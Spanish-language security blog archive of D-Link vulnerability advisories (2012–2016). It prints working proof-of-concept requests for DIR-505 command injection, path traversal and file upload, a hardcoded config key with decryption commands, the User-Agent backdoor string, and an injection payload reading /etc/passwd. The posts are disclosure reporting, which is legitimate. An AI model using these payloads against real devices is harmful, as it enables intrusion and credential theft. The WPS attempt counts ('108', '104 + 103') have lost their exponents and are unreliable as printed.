Mostrando entradas con la etiqueta D-Link. Mostrar todas las entradas
Mostrando entradas con la etiqueta D-Link. Mostrar todas las entradas

lunes, 18 de julio de 2016

Desbordamiento de búfer en múltiples productos D-Link

Se ha anunciado una vulnerabilidad en múltiples modelos de dispositivos D-Link que podría permitir a un atacante comprometer los sistemas afectados (cámaras y unidades de almacenamiento).

El problema reside en la interfaz de aplicaciones de red de determinados dispositivos D-Link al tratar mensajes DCP específicamente manipulados, lo que podría provocar un desbordamiento de búfer basado en stack. El protocolo DCP, se emplea para manejar la comunicación entre el servicio mydlink y los dispositivos.

Afecta a los dispositivos DCS-xxxL, DCS-xxxxL, DNS-xxxL y DNR-xxxL. Concretamente la lista de productos afectados es: DCS-800L. DCS-800L/P, DCS-825L, DCS-855L, DCS-855/P, DCS-930L, DCS-932L, DCS-933L, DCS-935L, DCS-942L, DCS-960L, DCS-2132L, DCS-2136L, DCS-2210L, DCS-2230L, DCS-2310L, DCS-2330L, DCS-2332L, DCS-6004L, DCS-6010L, DCS-7000L, DCS-7010L, DCS-5000L, DCS-5009L, DCS-5010L, DCS-5020L, DCS-5222L, DCS-8200LH, DCS-6045LKT, DNR-312L, DNR-322L, DNS-320L, DNS-327L y DNS-340L.

El equipo de D-Link confirma que está trabajando en las actualizaciones necesarias y que estarán disponibles a partir de esta semana desde:
Por otra parte, D-Link informa que como parte de la mejora continua de las interfaces de sus dispositivos, ya estaba programada la eliminación del protocolo DCP. Proceso que comenzará el mes que viene.

Más información:

Regarding Senr.io Vulnerability Affecting Many D-Link Products

Home, Secure, Home?


Antonio Ropero
Twitter: @aropero

miércoles, 26 de marzo de 2014

Vulnerabilidad Cross-Site Request Forgery en routers D-Link DIR-600L

Se ha anunciado una vulnerabilidad en los routers D-Link DIR-600L, que podría permitir la realización de ataques de cross-site request forgery.

La aplicación web del router puede permitir a los usuarios realizar determinadas acciones mediante peticiones http sin las adecuadas validaciones. Esto podría permitir la realización de ataques del tipo cross-site request forgery, que podría permitir por ejemplo el cambio de credenciales administrativas cuando un usuario autenticado visite una página web especialmente creada.

Este tipo de vulnerabilidad permite a un atacante ejecutar funcionalidades de una web determinada a través de la sesión de otro usuario en esa web. Su mecanismo es sencillo, pero entender como funciona y su impacto no lo es y mucho menos para profesionales ajenos al mundo de la seguridad. El problema reside en que en muchas ocasiones se tiende a infravalorar la peligrosidad de este tipo de fallos.

Se ha publicado una prueba de concepto del problema, disponible en:
Esquema de funcionamiento de ataques Cross-Site Request Forgery (CSRF)

Más información:

Dlink DIR-600L Hardware Version AX Firmware Version 1.00 - CSRF Vulnerability




Antonio Ropero
Twitter: @aropero


martes, 3 de diciembre de 2013

D-Link cierra la puerta trasera de sus routers

D-Link ha publicado actualizaciones para solucionar una puerta trasera descubierta en diversos modelos de sus routers. A mediados de octubre informábamos deldescubrimiento de una puerta trasera en los routers D-Link que permitiría evadir la autenticación y acceder al portal web de administración del dispositivo sin necesidad de conocer las credenciales de acceso. 

El problema residía en que si el "User-agent" del navegador era "xmlset_roodkcableoj28840ybtide" entonces el sistema nos daba por autenticados abriéndonos paso a cualquier lugar del interfaz. Los routers afectados por este problema son los siguientes: DIR-100, DIR-120, DI-524, DI-524UP, DI-604UP, DI-604+, DI-624S y TM-G5240. En la una-al-diapublicada anteriormente se pueden encontrar más detalles sobre lavulnerabilidad.

D-Link ha publicado versiones actualizadas del firmware de los dispositivos afectados. Dada la diversidad de versiones afectadas (en algunos modelos la actualización también depende de la región) se recomienda consultar el aviso publicado por de D-Link.  

Más información:

una-al-dia (14/10/2013) Encontrada puerta trasera en routers D-Link

Reverse Engineering a D-Link Backdoor

Client for the DLink Backdoor, /bin/xmlsetc

D-Link routers authenticate administrative access using specific User-Agent string


Antonio Ropero

Twitter: @aropero

lunes, 14 de octubre de 2013

Encontrada puerta trasera en routers D-Link

Craig Heffner, investigador de seguridad especializado en hardware y firmware, ha encontrado una puerta trasera en los routers D-Link que permitiría evadir la autenticación y acceder al portal web deadministración del dispositivo sin necesidad de conocer las credenciales de acceso.

Craig descargó el firmware versión 1.13 para el dispositivo DIR-100 y efectuó un análisis de ingeniería inversa para extraer los archivos correspondientes al servidor web que el router publica para su administración.

Desensamblando el binario correspondiente al servidor web (/bin/webs) encontró que la función 'alpha_auth_check', devuelve un valor AUTH_OK para ciertos valores de las cabeceras de las peticiones HTTP. Este valor significa que la autenticación ha sido exitosa y se procede con la petición.

Viendo el código reconstruido por Craig podemos observar varias curiosidades:
  


Cuando se accede a las carpetas “graphics/” y “public/” devuelve AUTH_OK. Esto es lógico ya que se trata de carpetas que contienen recursos públicos, necesarios para construir el interfaz de preautenticación. Pero si observamos existe una comparación de cadenas vía 'strcmp' donde se está comparando la cadena actual del User-agent y cierto valor literal. Es decir, si nuestro 'User-agent' es “xmlset_roodkcableoj28840ybtide” entonces el sistema nos dará por autenticados abriéndonos paso a cualquier lugar del interfaz.

Graig se molestó en averiguar a través de SHODAN cuantos routers D-Link podrían estar afectados. Esto es posible dado que SHODAN indexa la información publica de los sistemas que están expuestos en Internet. Los routers afectados por este problema podrían ser los siguientes:

D-Link DIR-100
DIR-100
DI-524
DI-524UP
DI-604S
DI-604UP
DI-604+
TM-G5240

(algunos comentarios en su blog apuntan a que el modelo DIR-615 podría estar afectado)

También estarían afectados los routers que usen dicho firmware como los Planex:

BRL-04UR
BRL-04CW

Finalmente, alguien identificado como Travis Goodspeed profundizó en el trabajo de Craig Heffner y encontró que la cadena asociada a la puerta trasera es usada por una utilidad incluida en el sistema "/bin/xmlsetc". Todo apunta a que este mecanismo de evasión podría ser usado para tareas administrativas automatizadas y no un diseño impuesto en el dispositivo de manera maliciosa.

De momento, hasta que el fabricante tome cartas en el asunto, los dispositivos que empleen dicho firmware serían vulnerables a esta puerta trasera. Basta con cambiar el 'User-agent' del navegador (puede hacerse con un plugin o a través de un proxy http) a la cadena “xmlset_roodkcableoj28840ybtide” para obtener acceso privilegiado.

Más información:

Reverse Engineering a D-Link Backdoor

Client for the DLink Backdoor, /bin/xmlsetc



David García
Twitter: @dgn1729


sábado, 14 de septiembre de 2013

Múltiples vulnerabilidades en el router wireless D-Link DIR-505

Se han publicado seis vulnerabilidades que afectan al dispositivo D-Link DIR-505 Wireless Router. Los problemas podrían permitir la revelación de información sensible, inyección de comandos, acceder a los ficheros  del dispositivo, elevar privilegios y eludir restricciones de seguridad.

D-Link DIR-505 Wireless Router es un dispositivo portátil y de fácil manejo pensado para llevar de viaje y ampliar el alcance de cualquier red cableada mediante la creación de una red Wifi.

Alessandro Di Pinto ha descubierto múltiples errores de seguridad en los dispositivos D-Link DIR-500 que podrían ser aprovechados por un atacante en la misma red local. Son los siguientes:

  • un error de falta de comprobación del parámetro de entrada 'ip_addr' proporcionado por el usuario en la utilidad 'Ping Test' de la página '/System_Check.htm' podría ser aprovechada por un atacante autenticado para ejecutar comandos arbitrarios con privilegios de root.
     
    Se propone la siguiente prueba de concepto que permitiría iniciar el demonio de telnet en el dispositivo:     
      POST /my_cgi.cgi HTTP/1.1
      Host: <DIRECCION-IP>
      Cookie: uid=<COOKIE-VALIDA>
      Content-Length: 55

      request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd;

  • existe una vulnerabilidad de escalada de directorios en la interfaz web del puerto 8181 para explorar el contenido de una unidad USB conectada al dispositivo podría permitir a un atacante autenticado acceder a todos los ficheros del sistema. La siguiente PoC permitiría el acceso al directorio /etc:   

       http://<DIRECCION-IP>:8181/dws/api/ListFile?
       id=admin&tok=&volid=1&path=usb_dev/usb_A1/../../../../etc

  • otra vulnerabilidad de escalada de directorios relacionada con el parámetro 'path' de la utilidad '/dws/api/UploadFile' permitiría a un atacante autenticado subir un fichero desde una unidad USB conectada a un directorio arbitrario del dispositivo. Prueba de concepto para subir un fichero de texto al directorio /tmp


       POST /dws/api/UploadFile?0.35494315220771677 HTTP/1.1
       Host: <DIRECCION-IP>:8181
       Cookie: uid=<COOKIE-VALIDA>
       Content-Type: multipart/form-data;
               boundary=---------------------------736034324104825609817274318
       Content-Length: 1179

       -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="id"

       admin
       -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="tok"

       -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="volid"

       1
       -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="path"

       usb_dev/usb_A1/../../../../../../../../../tmp/
       -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="filename"

       exploit.txt
       -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="upload_file"; filename="test.txt"
       Content-Type: text/plain

       malicious text
       -----------------------------736034324104825609817274318--

  • una falta de comprobación de permisos de usuario permitiría elevar privilegios utilizando una cookie válida generada por el usuario invitado (user: guest, password: guest). Se podría utilizar dicha cookie para explotar las vulnerabilidades anteriores a pesar de que dicho usuario no tiene permisos para ejecutar acciones como subir ficheros al dispositivo.


  • un error de falta de comprobación de autenticación en 'my_cgi.cgi' al procesa peticiones HTTP 'multipart/form-data' podría permitir eludir restricciones de seguridad y acceder a funcionalidades del dispositivo sin necesidad de autenticación. Como prueba de esta vulnerabilidad se presenta una PoC que permitiría a un atacante sin autenticar cargar un fichero de configuración en el dispositivo:


       POST /my_cgi.cgi HTTP/1.1
       Host: <DIRECCION-IP>
       Cookie: uid=<COOKIE-VALIDA>
       Content-Type: multipart/form-data;
               boundary=---------------------------4318828241986447042487864450
       Content-Length: 382

       -----------------------------4318828241986447042487864450
       Content-Disposition: form-data; name="which_action"

       load_conf
       -----------------------------4318828241986447042487864450
       Content-Disposition: form-data; name="file";
       filename="attacker-config.bin"
       Content-Type: text/plain

       <NUEVA-CONFIGURACIOM-PARA-EL-DISPOSITIVO>
       -----------------------------4318828241986447042487864450--

  • el fichero de copia de seguridad de la configuración del dispositivo es encriptado de forma débil con la contraseña 'sw5-superman' y se conoce que tiene una cabecera de 84 bytes. Un atacante podría crear su propio fichero de configuración encriptando las entradas con dicha clave y creando una cabecera con la utilidad 'imghdr' y subirlo al dispositivo a través de la vulnerabilidad anteriormente descrita para eludir restricciones. También podría obtener el fichero del dispositivo y descubrir información sensible (como la contraseña de administrador o la clave WPA) a través de los siguientes comandos: 
      # Eliminar los 84 bytes de cabecera
      dd if=config-file of=config-file-no-header bs=84 skip=1
      # Desencriptar el contenido
      ccrypt -d -K sw5-superman config-file-no-header

Las vulnerabilidades afectan al dispositivo D-Link DIR-505 Wireless Router con firmware 1.06, aunque otras versiones anteriores y otros dispositivos también podrían estar comprometidos.

D-Link ha publicado una actualización de firmware (1.07) en su página web y FTP oficial, que corrige los errores anteriormente expuestos.

Más información:

Multiple vulnerabilities on D-Link Dir-505 devices



Juan José Ruiz


martes, 7 de mayo de 2013

Graves vulnerabilidades en cámaras IP D-LInk y Vivotek

La empresa Core Security ha publicado dos avisos de seguridad que describen varias vulnerabilidades en cámaras IP de los fabricantes D-Link y Vivotek. Los fallos encontrados son graves, con impacto potencial de ejecución de comandos arbitrarios, acceso a la imagen captada por la cámara en tiempo real y acceso a credenciales, entre otros. Todos son remotamente explotables.

Se han descubierto un total de diez vulnerabilidades graves, que se reparten equitativamente entre ambos fabricantes. Para D-Link, se ha comprobado que a través de simples peticiones HTTP GET se puede acceder a la imagen captada por la cámara, tanto en modo normal como ASCII, que devuelve una imagen que refleja los niveles de luminosidad.


También usando una petición GET se pueden inyectar comandos en el sistema Linux subyacente. La interfaz de administración web filtra aquellos comandos introducidos que contienen espacios. Sin embargo, cuando un comando contiene el carácter &, reemplaza este por un espacio, dejando la puerta abierta a que se introduzcan comandos de la forma 'uname&-a;cat&/etc/passwd'.

Se puede además realizar un salto en el proceso de autenticación en el Real Time Streaming Protocol (RTSP) debido a varios fallos en la implementación. Pero esto no sería necesario, ya que se ha descubierto además que estas cámaras incluyen unas credenciales por defecto que permiten a cualquier persona acceder a la imagen de vídeo captada por la cámara usando cualquier usuario y la cadena '?*' como contraseña.

Las cámaras Vivotek analizadas no salen mejor paradas. En principio, sufren dos escapes de información al hacer peticiones GET. Uno de ellos se localiza en la página que muestra parámetros de configuración. Entre estos parámetros se encuentras credenciales de acceso FTP, SMTP y claves WEP y WPA... que el dispositivo almacena en claro. El segundo escape utiliza un ataque de directorio transversal para acceder al volcado de memoria, donde se pueden encontrar credenciales validas de usuario.

Además, la cámara sufre un desbordamiento de memoria intermedia que puede permitir la ejecución de código arbitrario y un salto de credenciales (similar al de las cámaras D-Link) usando peticiones de DESCRIBE del protocolo RTSP. Por ultimo, se puede inyectar código arbitrario a través del fichero binario farseer.out.

Los modelos y firmwares afectados son varios, y se puede encontrar un lista detallada en las referencias. CORE recomienda no exponer la cámara a la red, y realizar filtrado de tráfico para detectar comunicaciones RTSP y HTTP sospechosas hacia el dispositivo. Sobre la solución a estas vulnerabilidades, mientras que D-Link ya ha puesto a disposición de los usuarios un parche que las soluciona, Vivotek no ha hecho declaraciones y no se ha anunciado solución.

Más información:

Vivotek IP Cameras Multiple Vulnerabilities

D-Link IP Cameras Multiple Vulnerabilities


Francisco López

martes, 23 de abril de 2013

Múltiples CSRF en router D-Link DIR865L

Jacob Holcomb ha descubierto múltiples problemas de seguridad en el router wireless D-Link DIR865L que podrían permitir a un atacante remoto realizar ataques cross-site request forgery (CSRF).

CSRF es una técnica que permite realizar peticiones HTTP a usuarios no autorizados aprovechando la incorrecta (o falta de) validación de dichas peticiones. Para explotar estas vulnerabilidades, el atacante debe engañar a la víctima que ha iniciado sesión en el dispositivo para que visite una página web especialmente manipulada desde la que se realizará la petición HTTP no autorizada y sin conocimiento del usuario legítimo.

Todos los formularios HTML del panel de administración del router D-Link DIR865L son susceptibles de este tipo de ataque.

Jacob Holcomb, analista de seguridad de Independent Security Evaluators, ha publicado una prueba de concepto consistente en dos páginas con las que logra cambiar las credenciales de inicio de sesión del dispositivo afectado y, a continuación, activar el servicio de administración remota, quedando el router bajo el control del atacante.



Para que tenga efecto, la víctima debe tener una sesión abierta con el router mientras navega por cualquier web del atacante.

Las vulnerabilidades han sido reportadas en la versión 1.03 del firmware del router, aunque otras versiones también podrían encontrarse afectadas.

Más información:

Taking over the D-Link DIR865L




Juan José Ruiz

viernes, 14 de diciembre de 2012

Revelación de contraseñas en cámaras IP D-Link DCS-9xx


Se ha publicado una vulnerabilidad crítica en el método de autenticación usado por las cámaras IP de la serie D-Link DCS-9xx que podría permitir la revelación de la contraseña de acceso a la zona de administración del dispositivo.

El error se encuentra en la forma en que el asistente de configuración de la cámara realiza el proceso de autenticación. Durante el proceso el asistente envía un mensaje de difusión solicitando la contraseña a la cámara para poder comparar y validar los datos de acceso suministrados por el usuario.

Sin embargo esta solicitud no precisa ninguna autenticación por lo que un atacante remoto podría realizar una suplantación del asistente para obtener las credenciales de administración, simplemente enviando una petición UDP y esperando respuesta.

La contraseña se envía cifrada por la red, pero el asistente cuenta con un ActiveX que lo descifra y "almacena" en una variable de Javascript como una cadena codificada en base64 fácilmente recuperable, con lo que el atacante puede recibirla y verla sin problemas.

Jason Doyle, el investigador de seguridad que descubrió el error, lo reportó al fabricante a mediados del mes de junio pero aun no se ha publicado una solución oficial para los dispositivos afectados. La vulnerabilidad, identificada como CVE-2012-4046, ha sido comprobada en la cámara D-Link DCS-932L con la última versión del firmware disponible (v1.02).

Más información:

Password Disclosure in D-Link Surveillance Cameras (CVE-2012-4046)



Juan José Ruiz

miércoles, 4 de enero de 2012

Vulnerabilidad en Wi-Fi Protected Setup compromete el PIN

Se ha descubierto una vulnerabilidad en el estándar WPS (Wi-Fi Protected Setup) que podría comprometer la robustez del PIN.

Wi-Fi Protected Setup, o WPS por sus siglas, es un estándar incluido en muchos routers y dispositivos wifi que facilita a los usuarios la creación de redes inalámbricas seguras. Dicho estándar dispone de varios métodos para agregar dispositivos a una red:
  • a través de un número PIN de 8 dígitos
  • pulsando un botón de configuración (PBC o Push Button Configuration)
  • mediante NFC (Near-Field Communication) acercando los dispositivos al punto de acceso o router
  • utilizando una llave USB que almacena los datos de la configuración
El estándar WPS lo implementan productos de fabricantes como Cisco, Technicolor, TP-Link, ZyXEL, D-Link, Netgear, Linksys, y Buffalo, entre otros muchos.

La vulnerabilidad en WPS, descubierta por Stefan Viehbock, se debe a un exceso de información en la respuesta EAP-NACK (Extensible Authentication Protocol-Negative Acknowledgement) que el sistema envía cuando la autenticación falla. Esto podría permitir a un atacante remoto determinar si la primera mitad del PIN es correcta o no, disminuyendo la robustez del mismo e incrementado las posibilidades de éxito de un ataque por fuerza bruta.

Mediante esta vulnerabilidad, el problema de descubrir una clave de 8 dígitos se reduce a descubrir dos claves de 4 y 3 cifras (ya que la octava es un dígito de control o "checksum"). Dicho de otra manera, el número de intentos necesarios para descubrir el PIN se vería reducido de 108 (100.000.000) a 104 + 103 (11.000).

Además muchos routers wifi no implementan ninguna política de bloqueo de los intentos de autenticación y, sin embargo, sí disponen de WPS habilitado de forma predeterminada, reduciendo de esta manera el tiempo necesario para lograr que un ataque de este tipo tenga éxito.
Investigadores de Tactical Network Solutions han desarrollado una herramienta llamada Reaver que implementa un ataque sobre la vulnerabilidad de WPS, siendo capaz de descubrir el PIN, y recuperar la contraseña WPA/WPA2 en cuestión de horas. La herramienta Reaver se ha liberado como un proyecto de código abierto en Google Code.

Más información:

Wi-Fi Protected Setup PIN brute force vulnerability

WiFi Protected Setup Flaw Can Lead to Compromise of Router PINs

Brute forcing Wi-Fi Protected Setup

Attack Tool Released for WPS PIN Vulnerability

Reaver


Juan José Ruiz